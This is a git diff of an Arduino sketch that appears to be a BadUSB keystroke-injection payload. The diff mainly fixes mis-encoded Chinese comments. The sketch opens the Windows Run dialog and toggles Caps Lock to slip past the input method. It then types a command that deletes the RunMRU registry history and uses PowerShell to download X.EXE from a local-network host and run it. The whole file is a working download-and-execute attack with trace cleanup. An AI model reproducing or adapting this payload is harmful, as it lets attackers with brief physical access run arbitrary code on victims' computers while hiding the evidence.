diff --git a/ino_code/PowerShellDownload(win7,8).ino b/ino_code/PowerShellDownload(win7,8).ino
index 235b2ad..f4bdb47 100644
--- a/ino_code/PowerShellDownload(win7,8).ino
+++ b/ino_code/PowerShellDownload(win7,8).ino
@@ -1,20 +1,20 @@
-void setup() {//��ʼ��
-  Keyboard.begin();//��ʼ����ͨѶ 
-  delay(5000);//��ʱ
-  Keyboard.press(KEY_LEFT_GUI);//win�� 
+void setup() {//初始化
+  Keyboard.begin();//开始键盘通讯 
+  delay(5000);//延时
+  Keyboard.press(KEY_LEFT_GUI);//按下win键 
   delay(500); 
-  Keyboard.press('r');//r�� 
+  Keyboard.press('r');//按下r键 
   delay(500); 
-  Keyboard.release(KEY_LEFT_GUI);
-  Keyboard.release('r');
-  Keyboard.press(KEY_CAPS_LOCK);//���ÿ���д��Сд�ƹ����뷨
+  Keyboard.release(KEY_LEFT_GUI);//释放win键 
+  Keyboard.release('r');//释放r键 
+  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
   Keyboard.release(KEY_CAPS_LOCK);
   delay(500); 
   Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT");
-  Keyboard.press(KEY_CAPS_LOCK);
-  Keyboard.release(KEY_CAPS_LOCK);
-  Keyboard.end();//��������ͨѶ 
+  Keyboard.press(KEY_CAPS_LOCK);//按下大写
+  Keyboard.release(KEY_CAPS_LOCK);//整个过程关闭大写锁定
+  Keyboard.end();//结束键盘通讯 
 }
-void loop()//ѭ��
+void loop()//循环
 {
-}
\ No newline at end of file
+}